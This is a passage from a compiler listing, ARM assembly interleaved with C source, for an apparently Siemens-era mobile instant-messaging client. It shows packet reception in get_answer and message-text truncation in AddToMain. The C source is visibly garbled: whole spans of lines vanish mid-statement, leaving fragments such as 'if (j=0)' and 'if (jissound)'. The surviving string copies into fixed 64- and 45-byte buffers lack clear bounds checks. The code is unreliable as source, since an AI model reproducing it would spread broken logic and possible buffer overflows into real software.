R1,#+0 \ 00000020 B610C0E1 STRH R1,[R0, #+6] 3675 SUBPROC((void *)SendAnswer,0,p); \ 00000024 0020A0E1 MOV R2,R0 \ 00000028 ........ LDR R0,??DataTable78 ;; SendAnswer \ 0000002C 710100EF SWI +369 3676 } \ 00000030 1080BDE8 POP {R4,PC} ;; return 3677 3678 extern int main2_count; 3679 3680 int ping_time; 3681 //#ifdef EVILFOX 3682 //#else 3683 3684 //#endif 3685 char I_UIN[9]; 3686 \ In segment CODE, align 4, keep-with-next 3687 void get_answer(void) 3688 { \ get_answer: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 3689 void *p; 3690 int i=RXstate; \ 00000004 ........ LDR R5,??DataTable73 ;; S_ICONS \ 00000008 1CD04DE2 SUB SP,SP,#+28 \ 0000000C 40DE4DE2 SUB SP,SP,#+1024 3691 int j; 3692 int n; 3693 char rb[1024]; 3694 char *rp=rb; 3695 if (connect_state<2) return; \ 00000010 E80295E5 LDR R0,[R5, #+744] \ 00000014 E48295E5 LDR R8,[R5, #+740] \ 00000018 1C108DE2 ADD R1,SP,#+28 \ 0000001C 00108DE5 STR R1,[SP, #+0] \ 00000020 020050E3 CMP R0,#+2 \ 00000024 540100BA BLT ??get_answer_1 \ 00000028 0A0078E3 CMN R8,#+10 \ 0000002C 5201000A BEQ ??get_answer_1 3696 if (i==EOP) return; 3697 j=recv(sock,rb,sizeof(rb),0); \ 00000030 EC0295E5 LDR R0,[R5, #+748] \ 00000034 0030A0E3 MOV R3,#+0 \ 00000038 402EA0E3 MOV R2,#+1024 \ 0000003C 780100EF SWI +376 \ 00000040 0060A0E1 MOV R6,R0 \ 00000044 0990A0E3 MOV R9,#+9 \ 00000048 429C89E3 ORR R9,R9,#0x4200 \ 0000004C 0E0000EA B ??get_answer_2 3698 while(j>0) 3699 { 3700 if (i<0) 3701 { 3702 //Принимаем заголовок 3703 n=-i; //Требуемое количество байт 3704 if (j=0) 3711 { 3712 //Принимаем тельце ;) 3713 n=RXbuf.pkt.data_len; //Всего в тельце 3714 if (n>16383) 3715 { 3716 //Слишком много 3717 strcpy(logmsg,LG_GRBADPACKET); 3718 end_socket(); 3719 RXstate=EOP; 3720 return; 3721 } 3722 n-=i; //Количество требуемых байт (общая длинна тельца-текущая позиция) 3723 if (n>0) 3724 { 3725 if (jissound) 3805 Play(sndMsg); 3806 } 3807 else 3808 { 3809 uins=RXbuf.pkt.uin; 3810 volatile int hFile_ex; 3811 unsigned int io_error_ex = 0; 3812 sprintf(talk_sound, "%s%d.wav", sndMsg2, uins); 3813 hFile_ex = fopen(talk_sound,A_ReadOnly + A_BIN,P_READ, &io_error_ex); 3814 if(hFile_ex!=-1) 3815 { 3816 fclose(hFile_ex, &io_error_ex); 3817 Play(talk_sound); 3818 } 3819 else 3820 Play(sndMsg); 3821 } 3822 } 3823 break; 3824 case T_SSLRESP: 3825 LockSched(); 3826 ShowMSG(1,(int)RXbuf.data); 3827 UnlockSched(); 3828 break; 3829 case T_SRV_ACK: 3830 if (FindContactLOGQByAck(&RXbuf)) Play(sndMsgSent); 3831 case T_CLIENT_ACK: 3832 p=malloc(sizeof(PKT)+2); 3833 memcpy(p,&RXbuf,sizeof(PKT)+2); 3834 GBS_SendMessage(MMI_CEPID,MSG_HELPER_TRANSLATOR,0,p,sock); 3835 break; 3836 case T_ECHORET: 3837 { 3838 TDate d; 3839 TTime t; 3840 TTime *pt=(TTime *)(RXbuf.data); 3841 int s1; 3842 int s2; 3843 GetDateTime(&d,&t); 3844 s1=t.hour*3600+t.min*60+t.sec; 3845 s2=pt->hour*3600+pt->min*60+pt->sec; 3846 s1-=s2; 3847 if (s1<0) s1+=86400; 3848 snprintf(logmsg,255,"Ping %d-%d seconds!",s1,s1+1); 3849 sprintf(PINGO, "Ping: %dsec",s1); 3850 LockSched(); 3851 if(janis==1) 3852 { 3853 ShowMSG(1,(int)logmsg); 3854 Play(pingsnd); 3855 janis=0; 3856 } 3857 else 3858 { 3859 if(ping_time==0) 3860 { 3861 ping_time=ping_time_config; 3862 Play(pingsnd); 3863 } 3864 else 3865 ping_time--; 3866 } 3867 UnlockSched(); 3868 } 3869 break; 3870 case T_LASTPRIVACY: 3871 n=i+sizeof(PKT); \ ??get_answer_3: \ 00000050 0040A0E1 MOV R4,R0 3872 p=malloc(n); \ ??get_answer_4: \ 00000054 140000EF SWI +20 \ 00000058 00B0A0E1 MOV R11,R0 3873 memcpy(p,&RXbuf,n); \ 0000005C 0420A0E1 MOV R2,R4 \ ??get_answer_5: \ 00000060 0710A0E1 MOV R1,R7 \ 00000064 1E0100EF SWI +286 3874 GBS_SendMessage(MMI_CEPID,MSG_HELPER_TRANSLATOR,0,p,sock); \ 00000068 EC0295E5 LDR R0,[R5, #+748] \ 0000006C 0B30A0E1 MOV R3,R11 \ 00000070 01002DE9 PUSH {R0} \ 00000074 0020A0E3 MOV R2,#+0 \ 00000078 0810A0E1 MOV R1,R8 \ 0000007C 0900A0E1 MOV R0,R9 \ 00000080 000100EF SWI +256 \ ??get_answer_6: \ 00000084 04D08DE2 ADD SP,SP,#+4 ;; stack cleaning 3875 break; 3876 } 3877 i=-(int)sizeof(PKT); //А может еще есть данные \ ??get_answer_7: \ 00000088 0780E0E3 MVN R8,#+7 \ ??get_answer_2: \ 0000008C 010056E3 CMP R6,#+1 \ 00000090 380100BA BLT ??get_answer_8 \ 00000094 F0749FE5 LDR R7,??get_answer_9+0x4 ;; RXbuf \ 00000098 000058E3 CMP R8,#+0 \ 0000009C 0C00005A BPL ??get_answer_10 \ 000000A0 00109DE5 LDR R1,[SP, #+0] \ 000000A4 004068E2 RSB R4,R8,#+0 \ 000000A8 040056E1 CMP R6,R4 \ 000000AC 0640A0B1 MOVLT R4,R6 \ 000000B0 0420A0E1 MOV R2,R4 \ 000000B4 070088E0 ADD R0,R8,R7 \ 000000B8 080080E2 ADD R0,R0,#+8 \ 000000BC 1E0100EF SWI +286 \ 000000C0 00109DE5 LDR R1,[SP, #+0] \ 000000C4 088084E0 ADD R8,R4,R8 \ 000000C8 046046E0 SUB R6,R6,R4 \ 000000CC 011084E0 ADD R1,R4,R1 \ 000000D0 00108DE5 STR R1,[SP, #+0] \ ??get_answer_10: \ 000000D4 000058E3 CMP R8,#+0 \ 000000D8 EBFFFF4A BMI ??get_answer_2 \ 000000DC B640D7E1 LDRH R4,[R7, #+6] \ 000000E0 6400A0E3 MOV R0,#+100 \ 000000E4 8C0D80E3 ORR R0,R0,#0x2300 \ 000000E8 05A080E0 ADD R10,R0,R5 \ 000000EC 400C54E3 CMP R4,#+16384 \ 000000F0 080000BA BLT ??get_answer_11 \ 000000F4 94149FE5 LDR R1,??get_answer_9+0x8 ;; `?` + 692 \ 000000F8 0A00A0E1 MOV R0,R10 \ 000000FC 1A0000EF SWI +26 \ 00000100 ........ BL end_socket \ 00000104 0900E0E3 MVN R0,#+9 \ 00000108 E40285E5 STR R0,[R5, #+740] \ 0000010C 1CD08DE2 ADD SP,SP,#+28 \ 00000110 40DE8DE2 ADD SP,SP,#+1024 \ 00000114 F08FBDE8 POP {R4-R11,PC} \ ??get_answer_11: \ 00000118 084044E0 SUB R4,R4,R8 \ 0000011C 010054E3 CMP R4,#+1 \ 00000120 0B0000BA BLT ??get_answer_12 \ 00000124 00109DE5 LDR R1,[SP, #+0] \ 00000128 040056E1 CMP R6,R4 \ 0000012C 0640A0B1 MOVLT R4,R6 \ 00000130 0420A0E1 MOV R2,R4 \ 00000134 070088E0 ADD R0,R8,R7 \ 00000138 080080E2 ADD R0,R0,#+8 \ 0000013C 1E0100EF SWI +286 \ 00000140 00109DE5 LDR R1,[SP, #+0] \ 00000144 088084E0 ADD R8,R4,R8 \ 00000148 046046E0 SUB R6,R6,R4 \ 0000014C 011084E0 ADD R1,R4,R1 \ 00000150 00108DE5 STR R1,[SP, #+0] \ ??get_answer_12: \ 00000154 B600D7E1 LDRH R0,[R7, #+6] \ 00000158 080050E1 CMP R0,R8 \ 0000015C CAFFFF1A BNE ??get_answer_2 \ 00000160 F01295E5 LDR R1,[R5, #+752] \ 00000164 080088E2 ADD R0,R8,#+8 \ 00000168 011080E0 ADD R1,R0,R1 \ 0000016C F01285E5 STR R1,[R5, #+752] \ 00000170 F81295E5 LDR R1,[R5, #+760] \ 00000174 0020A0E3 MOV R2,#+0 \ 00000178 011080E0 ADD R1,R0,R1 \ 0000017C F81285E5 STR R1,[R5, #+760] \ 00000180 071088E0 ADD R1,R8,R7 \ 00000184 0820C1E5 STRB R2,[R1, #+8] \ 00000188 B410D7E1 LDRH R1,[R7, #+4] \ 0000018C 094088E2 ADD R4,R8,#+9 \ 00000190 AE80A0E3 MOV R8,#+174 \ 00000194 DE8C88E3 ORR R8,R8,#0xDE00 \ 00000198 031041E2 SUB R1,R1,#+3 \ 0000019C 1C0051E3 CMP R1,#+28 \ 000001A0 B8FFFF8A BHI ??get_answer_7 \ 000001A4 022F8FE2 ADR R2,??get_answer_0 \ 000001A8 8110A0E1 MOV R1,R1, LSL #+1 \ 000001AC F12092E1 LDRSH R2,[R2, R1] \ 000001B0 02F18FE0 ADD PC,PC,R2, LSL #+2 \ ??get_answer_0: \ 000001B4 4A000E00B4FF DC16 +74,+14,+65460,+67 \ 4300 \ 000001BC 2B00B4FF2D00 DC16 +43,+65460,+45,+65460 \ B4FF \ 000001C4 B4FFB4FF9E00 DC16 +65460,+65460,+158,+65460 \ B4FF \ 000001CC B4FFA400AC00 DC16 +65460,+164,+172,+65460 \ B4FF \ 000001D4 B1002B002B00 DC16 +177,+43,+43,+65460 \ B4FF \ 000001DC B4FFB4FF2B00 DC16 +65460,+65460,+43,+65460 \ B4FF \ 000001E4 B4FFB4FFB4FF DC16 +65460,+65460,+65460,+65460 \ B4FF \ 000001EC A6FF0000 DC16 +65446,+0 \ ??get_answer_13: \ 000001F0 0400A0E1 MOV R0,R4 \ 000001F4 140000EF SWI +20 \ 000001F8 00B0A0E1 MOV R11,R0 \ 000001FC 0420A0E1 MOV R2,R4 \ 00000200 0710A0E1 MOV R1,R7 \ 00000204 1E0100EF SWI +286 \ 00000208 EC0295E5 LDR R0,[R5, #+748] \ 0000020C 0B30A0E1 MOV R3,R11 \ 00000210 01002DE9 PUSH {R0} \ 00000214 0020A0E3 MOV R2,#+0 \ 00000218 0810A0E1 MOV R1,R8 \ 0000021C 0900A0E1 MOV R0,R9 \ 00000220 000100EF SWI +256 \ 00000224 AC00A0E3 MOV R0,#+172 \ 00000228 A00E80E3 ORR R0,R0,#0xA00 \ 0000022C 050080E0 ADD R0,R0,R5 \ 00000230 ........ BL Play \ 00000234 083087E2 ADD R3,R7,#+8 \ 00000238 D22F8FE2 ADR R2,??get_answer_9 ;; "%s" \ 0000023C FF10A0E3 MOV R1,#+255 \ 00000240 0A00A0E1 MOV R0,R10 \ 00000244 1B0100EF SWI +283 \ 00000248 0300A0E3 MOV R0,#+3 \ 0000024C E80285E5 STR R0,[R5, #+744] \ 00000250 A80395E5 LDR R0,[R5, #+936] \ 00000254 010040E2 SUB R0,R0,#+1 \ 00000258 A80385E5 STR R0,[R5, #+936] \ 0000025C ........ BL SMART_REDRAW \ 00000260 87FFFFEA B ??get_answer_6 \ ??get_answer_14: \ 00000264 0400A0E1 MOV R0,R4 \ 00000268 79FFFFEA B ??get_answer_4 \ ??get_answer_15: \ 0000026C 0040A0E1 MOV R4,R0 \ 00000270 140000EF SWI +20 \ 00000274 00B0A0E1 MOV R11,R0 \ 00000278 0420A0E1 MOV R2,R4 \ 0000027C 0710A0E1 MOV R1,R7 \ 00000280 1E0100EF SWI +286 \ 00000284 B800D7E1 LDRH R0,[R7, #+8] \ 00000288 04239FE5 LDR R2,??get_answer_9+0xC ;; `?` + 680 \ 0000028C FF10A0E3 MOV R1,#+255 \ 00000290 01002DE9 PUSH {R0} \ 00000294 003097E5 LDR R3,[R7, #+0] \ 00000298 0A00A0E1 MOV R0,R10 \ 0000029C 1B0100EF SWI +283 \ 000002A0 EC0295E5 LDR R0,[R5, #+748] \ 000002A4 0B30A0E1 MOV R3,R11 \ 000002A8 01002DE9 PUSH {R0} \ 000002AC 0020A0E3 MOV R2,#+0 \ 000002B0 0810A0E1 MOV R1,R8 \ 000002B4 0900A0E1 MOV R0,R9 \ 000002B8 000100EF SWI +256 \ 000002BC 08D08DE2 ADD SP,SP,#+8 \ 000002C0 70FFFFEA B ??get_answer_7 \ ??get_answer_16: \ 000002C4 CC229FE5 LDR R2,??get_answer_9+0x10 ;; `?` + 672 \ 000002C8 083087E2 ADD R3,R7,#+8 \ 000002CC FF10A0E3 MOV R1,#+255 \ 000002D0 0A00A0E1 MOV R0,R10 \ 000002D4 1B0100EF SWI +283 \ 000002D8 ........ BL SMART_REDRAW \ 000002DC 69FFFFEA B ??get_answer_7 \ ??get_answer_17: \ 000002E0 0400A0E1 MOV R0,R4 \ 000002E4 140000EF SWI +20 \ 000002E8 00B0A0E1 MOV R11,R0 \ 000002EC 0420A0E1 MOV R2,R4 \ 000002F0 0710A0E1 MOV R1,R7 \ 000002F4 1E0100EF SWI +286 \ 000002F8 08008BE2 ADD R0,R11,#+8 \ 000002FC 030000EA B ??get_answer_18 \ ??get_answer_19: \ 00000300 030051E3 CMP R1,#+3 \ 00000304 2010A0B3 MOVLT R1,#+32 \ 00000308 0010C0B5 STRBLT R1,[R0, #+0] \ 0000030C 010080E2 ADD R0,R0,#+1 \ ??get_answer_18: \ 00000310 0010D0E5 LDRB R1,[R0, #+0] \ 00000314 000051E3 CMP R1,#+0 \ 00000318 F8FFFF1A BNE ??get_answer_19 \ 0000031C 002097E5 LDR R2,[R7, #+0] \ 00000320 74129FE5 LDR R1,??get_answer_9+0x14 ;; `?` + 664 \ 00000324 4400A0E3 MOV R0,#+68 \ 00000328 980D80E3 ORR R0,R0,#0x2600 \ 0000032C 054080E0 ADD R4,R0,R5 \ 00000330 0400A0E1 MOV R0,R4 \ 00000334 160000EF SWI +22 \ 00000338 0410A0E1 MOV R1,R4 \ 0000033C 990E85E2 ADD R0,R5,#+2448 \ 00000340 180100EF SWI +280 \ 00000344 000050E3 CMP R0,#+0 \ 00000348 4EFFFF1A BNE ??get_answer_7 \ 0000034C 4C229FE5 LDR R2,??get_answer_9+0x18 ;; `?` + 652 \ 00000350 080087E2 ADD R0,R7,#+8 \ 00000354 01002DE9 PUSH {R0} \ 00000358 003097E5 LDR R3,[R7, #+0] \ 0000035C FF10A0E3 MOV R1,#+255 \ 00000360 AC40A0E3 MOV R4,#+172 \ 00000364 0A00A0E1 MOV R0,R10 \ 00000368 1B0100EF SWI +283 \ 0000036C F00295E5 LDR R0,[R5, #+752] \ 00000370 B04E84E3 ORR R4,R4,#0xB00 \ 00000374 ........ BL SendMSGACK \ 00000378 EC0295E5 LDR R0,[R5, #+748] \ 0000037C 0B30A0E1 MOV R3,R11 \ 00000380 01002DE9 PUSH {R0} \ 00000384 0020A0E3 MOV R2,#+0 \ 00000388 0810A0E1 MOV R1,R8 \ 0000038C 0900A0E1 MOV R0,R9 \ 00000390 000100EF SWI +256 \ 00000394 ........ BL SMART_REDRAW \ 00000398 1C0295E5 LDR R0,[R5, #+540] \ 0000039C 08D08DE2 ADD SP,SP,#+8 \ 000003A0 000050E3 CMP R0,#+0 \ 000003A4 000097E5 LDR R0,[R7, #+0] \ 000003A8 0600001A BNE ??get_answer_20 \ 000003AC ........ _BLF FindContactByUin,??FindContactByUin??rA \ 000003B0 600090E5 LDR R0,[R0, #+96] \ 000003B4 000050E3 CMP R0,#+0 \ 000003B8 32FFFF0A BEQ ??get_answer_7 \ 000003BC 050084E0 ADD R0,R4,R5 \ ??get_answer_21: \ 000003C0 ........ BL Play \ 000003C4 2FFFFFEA B ??get_answer_7 \ ??get_answer_20: \ 000003C8 400285E5 STR R0,[R5, #+576] \ 000003CC 0010A0E3 MOV R1,#+0 \ 000003D0 08108DE5 STR R1,[SP, #+8] \ 000003D4 403295E5 LDR R3,[R5, #+576] \ 000003D8 C4119FE5 LDR R1,??get_answer_9+0x1C ;; `?` + 640 \ 000003DC E07F84E2 ADD R7,R4,#+896 \ 000003E0 400084E3 ORR R0,R4,#0x40 \ 000003E4 052080E0 ADD R2,R0,R5 \ 000003E8 050087E0 ADD R0,R7,R5 \ 000003EC 160000EF SWI +22 \ 000003F0 08308DE2 ADD R3,SP,#+8 \ 000003F4 8020A0E3 MOV R2,#+128 \ 000003F8 801CA0E3 MOV R1,#+32768 \ 000003FC 050087E0 ADD R0,R7,R5 \ 00000400 0A0000EF SWI +10 \ 00000404 04008DE5 STR R0,[SP, #+4] \ 00000408 04009DE5 LDR R0,[SP, #+4] \ 0000040C 010070E3 CMN R0,#+1 \ 00000410 0400000A BEQ ??get_answer_22 \ 00000414 04009DE5 LDR R0,[SP, #+4] \ 00000418 08108DE2 ADD R1,SP,#+8 \ 0000041C 0D0000EF SWI +13 \ 00000420 050087E0 ADD R0,R7,R5 \ 00000424 E5FFFFEA B ??get_answer_21 \ ??get_answer_22: \ 00000428 050084E0 ADD R0,R4,R5 \ 0000042C E3FFFFEA B ??get_answer_21 \ ??get_answer_23: \ 00000430 460100EF SWI +326 \ 00000434 081087E2 ADD R1,R7,#+8 \ 00000438 0100A0E3 MOV R0,#+1 \ 0000043C 480100EF SWI +328 \ ??get_answer_24: \ 00000440 470100EF SWI +327 \ 00000444 0FFFFFEA B ??get_answer_7 \ ??get_answer_25: \ 00000448 0700A0E1 MOV R0,R7 \ 0000044C ........ BL FindContactLOGQByAck \ 00000450 000050E3 CMP R0,#+0 \ 00000454 0300000A BEQ ??get_answer_26 \ 00000458 2C00A0E3 MOV R0,#+44 \ 0000045C C00E80E3 ORR R0,R0,#0xC00 \ 00000460 050080E0 ADD R0,R0,R5 \ 00000464 ........ BL Play \ ??get_answer_26: \ 00000468 0A00A0E3 MOV R0,#+10 \ 0000046C 140000EF SWI +20 \ 00000470 00B0A0E1 MOV R11,R0 \ 00000474 0A20A0E3 MOV R2,#+10 \ 00000478 F8FEFFEA B ??get_answer_5 \ ??get_answer_27: \ 0000047C 0C108DE2 ADD R1,SP,#+12 \ 00000480 14008DE2 ADD R0,SP,#+20 \ 00000484 B40000EF SWI +180 \ 00000488 0C00DDE5 LDRB R0,[SP, #+12] \ 0000048C 0D20DDE5 LDRB R2,[SP, #+13] \ 00000490 E11EA0E3 MOV R1,#+3600 \ 00000494 3C30A0E3 MOV R3,#+60 \ 00000498 930202E0 MUL R2,R3,R2 \ 0000049C 912020E0 MLA R0,R1,R0,R2 \ 000004A0 0E10DDE5 LDRB R1,[SP, #+14] \ 000004A4 E12EA0E3 MOV R2,#+3600 \ 000004A8 000081E0 ADD R0,R1,R0 \ 000004AC 0810D7E5 LDRB R1,[R7, #+8] \ 000004B0 920101E0 MUL R1,R2,R1 \ 000004B4 EC209FE5 LDR R2,??get_answer_9+0x20 ;; `?` + 620 \ 000004B8 010040E0 SUB R0,R0,R1 \ 000004BC 0910D7E5 LDRB R1,[R7, #+9] \ 000004C0 930101E0 MUL R1,R3,R1 \ 000004C4 010040E0 SUB R0,R0,R1 \ 000004C8 0A10D7E5 LDRB R1,[R7, #+10] \ 000004CC D8709FE5 LDR R7,??get_answer_9+0x24 ;; janis \ 000004D0 014050E0 SUBS R4,R0,R1 \ 000004D4 500BA043 MOVMI R0,#+81920 \ 000004D8 460D8043 ORRMI R0,R0,#0x1180 \ 000004DC 04408040 ADDMI R4,R0,R4 \ 000004E0 010084E2 ADD R0,R4,#+1 \ 000004E4 01002DE9 PUSH {R0} \ 000004E8 0430A0E1 MOV R3,R4 \ 000004EC FF10A0E3 MOV R1,#+255 \ 000004F0 0A00A0E1 MOV R0,R10 \ 000004F4 1B0100EF SWI +283 \ 000004F8 B0109FE5 LDR R1,??get_answer_9+0x28 ;; `?` + 608 \ 000004FC 0420A0E1 MOV R2,R4 \ 00000500 CC00A0E3 MOV R0,#+204 \ 00000504 7C0D80E3 ORR R0,R0,#0x1F00 \ 00000508 050080E0 ADD R0,R0,R5 \ 0000050C 160000EF SWI +22 \ 00000510 460100EF SWI +326 \ 00000514 000097E5 LDR R0,[R7, #+0] \ 00000518 6C40A0E3 MOV R4,#+108 \ 0000051C C04E84E3 ORR R4,R4,#0xC00 \ 00000520 010050E3 CMP R0,#+1 \ 00000524 04D08DE2 ADD SP,SP,#+4 \ 00000528 0700001A BNE ??get_answer_28 \ 0000052C 0A10A0E1 MOV R1,R10 \ 00000530 0100A0E3 MOV R0,#+1 \ 00000534 480100EF SWI +328 \ 00000538 050084E0 ADD R0,R4,R5 \ 0000053C ........ BL Play \ 00000540 0000A0E3 MOV R0,#+0 \ 00000544 000087E5 STR R0,[R7, #+0] \ 00000548 BCFFFFEA B ??get_answer_24 \ ??get_answer_28: \ 0000054C AC0395E5 LDR R0,[R5, #+940] \ 00000550 000050E3 CMP R0,#+0 \ 00000554 0400001A BNE ??get_answer_29 \ 00000558 400195E5 LDR R0,[R5, #+320] \ 0000055C AC0385E5 STR R0,[R5, #+940] \ 00000560 050084E0 ADD R0,R4,R5 \ 00000564 ........ BL Play \ 00000568 B4FFFFEA B ??get_answer_24 \ ??get_answer_29: \ 0000056C 010040E2 SUB R0,R0,#+1 \ 00000570 AC0385E5 STR R0,[R5, #+940] \ 00000574 B1FFFFEA B ??get_answer_24 3878 } 3879 } 3880 } 3881 RXstate=i; \ ??get_answer_8: \ 00000578 E48285E5 STR R8,[R5, #+740] 3882 // GBS_StartTimerProc(&tmr_dorecv,3000,dorecv); 3883 // SMART_REDRAW(); 3884 } \ ??get_answer_1: \ 0000057C 1CD08DE2 ADD SP,SP,#+28 \ 00000580 40DE8DE2 ADD SP,SP,#+1024 \ 00000584 F08FBDE8 POP {R4-R11,PC} ;; return \ ??get_answer_9: \ 00000588 25730000 DC8 "%s",+0 \ 0000058C ........ DC32 RXbuf \ 00000590 ........ DC32 `?` + 692 \ 00000594 ........ DC32 `?` + 680 \ 00000598 ........ DC32 `?` + 672 \ 0000059C ........ DC32 `?` + 664 \ 000005A0 ........ DC32 `?` + 652 \ 000005A4 ........ DC32 `?` + 640 \ 000005A8 ........ DC32 `?` + 620 \ 000005AC ........ DC32 janis \ 000005B0 ........ DC32 `?` + 608 3885 3886 3887 extern int main_count; 3888 3889 //=====================add to main info==================== 3890 3891 //Сюда я не лез...kluchnik 3892 3893 char a_txt[45]; 3894 char s_txt[45]; 3895 char d_txt[45]; 3896 char f_txt[45]; 3897 char g_txt[45]; 3898 //char de[64]; 3899 //char du[38]; 3900 3901 \ In segment CODE, align 4, keep-with-next 3902 void AddToMain(const char *nameu,char *si) 3903 { \ AddToMain: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 3904 char *de=malloc(64); 3905 int text_l; 3906 int iz; 3907 int name_l; 3908 name_l=0; 3909 text_l=0; 3910 name_l=strlen(nameu); 3911 // char *du=malloc(64);a_txt 3912 iz=0; 3913 #ifdef ELKA 3914 text_l=main_lenght-name_l; \ 00000004 ........ LDR R6,??DataTable73 ;; S_ICONS \ 00000008 08D04DE2 SUB SP,SP,#+8 \ 0000000C 0040A0E1 MOV R4,R0 \ 00000010 0190A0E1 MOV R9,R1 \ 00000014 4000A0E3 MOV R0,#+64 \ 00000018 140000EF SWI +20 \ 0000001C 0050A0E1 MOV R5,R0 \ 00000020 0400A0E1 MOV R0,R4 \ 00000024 1B0000EF SWI +27 \ 00000028 4C1196E5 LDR R1,[R6, #+332] \ 0000002C 0080A0E3 MOV R8,#+0 \ 00000030 00A041E0 SUB R10,R1,R0 3915 #else 3916 text_l=main_lenght-name_l; 3917 #endif 3918 3919 if(strlen(si)>text_l) \ 00000034 0070A0E3 MOV R7,#+0 \ 00000038 0900A0E1 MOV R0,R9 \ 0000003C 1B0000EF SWI +27 \ 00000040 00005AE1 CMP R10,R0 \ 00000044 0800003A BCC ??AddToMain_0 3920 { 3921 /* 3922 char *du=malloc(text_l); 3923 strncpy(du,si,text_l); 3924 sprintf(de,"%s%s",du,"..."); 3925 mfree(du); 3926 } 3927 */ 3928 while(text_l!=0) 3929 { 3930 de[iz]=si[iz]; 3931 iz++; 3932 text_l--; 3933 } 3934 if(use_cutter) 3935 { 3936 de[iz]='.'; 3937 iz++; 3938 de[iz]='.'; 3939 iz++; 3940 de[iz]='.'; 3941 iz++; 3942 } 3943 de[iz]='\0'; 3944 } 3945 else 3946 strcpy(de, si); \ 00000048 0910A0E1 MOV R1,R9 \ 0000004C 0500A0E1 MOV R0,R5 \ 00000050 1A0000EF SWI +26 3947 iz=0; \ ??AddToMain_1: \ 00000054 0080A0E3 MOV R8,#+0 \ 00000058 190000EA B ??AddToMain_2 \ ??AddToMain_3: \ 0000005C 0910D8E7 LDRB R1,[R8, +R9] \ 00000060 01A04AE2 SUB R10,R10,#+1 \ 00000064 0510C8E7 STRB R1,[R8, +R5] \ 00000068 0080A0E1 MOV R8,R0 \ ??AddToMain_0: \ 0000006C 010088E2 ADD R0,R8,#+1 \ 00000070 00005AE3 CMP R10,#+0 \ 00000074 F8FFFF1A BNE ??AddToMain_3 \ 00000078 501196E5 LDR R1,[R6, #+336] \ 0000007C 000051E3 CMP R1,#+0 \ 00000080 0500000A BEQ ??AddToMain_4 \ 00000084 2E10A0E3 MOV R1,#+46 \ 00000088 0510C8E7 STRB R1,[R8, +R5] \ 0000008C 0510C0E7 STRB R1,[R0, +R5] \ 00000090 010080E2 ADD R0,R0,#+1 \ 00000094 0510C0E7 STRB R1,[R0, +R5] \ 00000098 018080E2 ADD R8,R0,#+1 \ ??AddToMain_4: \ 0000009C 0570C8E7 STRB R7,[R8, +R5] \ 000000A0 EBFFFFEA B ??AddToMain_1 3948 while(strlen(de)!=iz) 3949 { 3950 // if(d[i]==0x2A) d[i]=0x20; 3951 // if(d[i]==0x27) d[i]=0x20; 3952 // if(d[i]==0x22) d[i]=0x20; 3953 // if(d[i]==0x26) d[i]=0x20; 3954 // if(d[i]==0x3D) d[i]=0x20; 3955 // if(d[i]==0x3C) d[i]=0x20; 3956 // if(d[i]==0x3E) d[i]=0x20; 3957 // if(d[i]==0x7B) d[i]=0x20; 3958 // if(d[i]==0x7D) d[i]=0x20; 3959 // if(d[i]==0x5B) d[i]=0x20; 3960 // if(d[i]==0x5D) d[i]=0x20; 3961 // if(d[i]==0x23) d[i]=0x20; 3962 // if(d[i]==0x2F) d[i]=0x20; 3963 // if(d[i]==0x5C) d[i]=0x20; 3964 // if(d[i]==0x7E) d[i]=0x20; 3965 // if(d[i]==0x5E) d[i]=0x20; 3966 // if(d[i]==0xAC) d[i]=0x20; 3967 // if(d[i]==0xA3) d[i]=0x20; 3968 // if(d[i]==0x24) d[i]=0x20; 3969 // if(d[i]==0xA5) d[i]=0x20; 3970 if(de[iz]==0x0D) de[iz]=0x20; \ ??AddToMain_5: \ 000000A4 0510D8E7 LDRB R1,[R8, +R5] \ 000000A8 2000A0E3 MOV R0,#+32 \ 000000AC 0D0051E3 CMP R1,#+13 \ 000000B0 0500C807 STRBEQ R0,[R8, +R5] 3971 if(de[iz]==0x0A) de[iz]=0x20; \ 000000B4 0510D8E7 LDRB R1,[R8, +R5] \ 000000B8 0A0051E3 CMP R1,#+10 \ 000000BC 0500C807 STRBEQ R0,[R8, +R5] 3972 iz++; \ 000000C0 018088E2 ADD R8,R8,#+1 3973 } \ ??AddToMain_2: \ 000000C4 0500A0E1 MOV R0,R5 \ 000000C8 1B0000EF SWI +27 \ 000000CC 080050E1 CMP R0,R8 \ 000000D0 F3FFFF1A BNE ??AddToMain_5 3974 de[iz]='\0'; \ 000000D4 0570C8E7 STRB R7,[R8, +R5] 3975 if(main_count==0) sprintf(a_txt, "%s: %s", nameu,de); \ 000000D8 ........ LDR R8,??DataTable74 ;; main_count \ 000000DC 3C719FE5 LDR R7,??AddToMain_6 ;; `?` \ 000000E0 5010A0E3 MOV R1,#+80 \ 000000E4 981D81E3 ORR R1,R1,#0x2600 \ 000000E8 061081E0 ADD R1,R1,R6 \ 000000EC 04108DE5 STR R1,[SP, #+4] \ 000000F0 000098E5 LDR R0,[R8, #+0] \ 000000F4 000050E3 CMP R0,#+0 \ 000000F8 0400001A BNE ??AddToMain_7 \ 000000FC 04009DE5 LDR R0,[SP, #+4] \ 00000100 0530A0E1 MOV R3,R5 \ 00000104 0420A0E1 MOV R2,R4 \ 00000108 0710A0E1 MOV R1,R7 \ 0000010C 160000EF SWI +22 3976 if(main_count==1) sprintf(s_txt, "%s: %s", nameu,de); \ ??AddToMain_7: \ 00000110 9A1D86E2 ADD R1,R6,#+9856 \ 00000114 00108DE5 STR R1,[SP, #+0] \ 00000118 000098E5 LDR R0,[R8, #+0] \ 0000011C 010050E3 CMP R0,#+1 \ 00000120 0400001A BNE ??AddToMain_8 \ 00000124 00009DE5 LDR R0,[SP, #+0] \ 00000128 0530A0E1 MOV R3,R5 \ 0000012C 0420A0E1 MOV R2,R4 \ 00000130 0710A0E1 MOV R1,R7 \ 00000134 160000EF SWI +22 3977 if(main_count==2) sprintf(d_txt, "%s: %s", nameu,de); \ ??AddToMain_8: \ 00000138 B000A0E3 MOV R0,#+176 \ 0000013C 980D80E3 ORR R0,R0,#0x2600 \ 00000140 069080E0 ADD R9,R0,R6 \ 00000144 000098E5 LDR R0,[R8, #+0] \ 00000148 020050E3 CMP R0,#+2 \ 0000014C 0400001A BNE ??AddToMain_9 \ 00000150 0530A0E1 MOV R3,R5 \ 00000154 0420A0E1 MOV R2,R4 \ 00000158 0710A0E1 MOV R1,R7 \ 0000015C 0900A0E1 MOV R0,R9 \ 00000160 160000EF SWI +22 3978 if(main_count==3) sprintf(f_txt, "%s: %s", nameu,de); \ ??AddToMain_9: \ 00000164 E000A0E3 MOV R0,#+224 \ 00000168 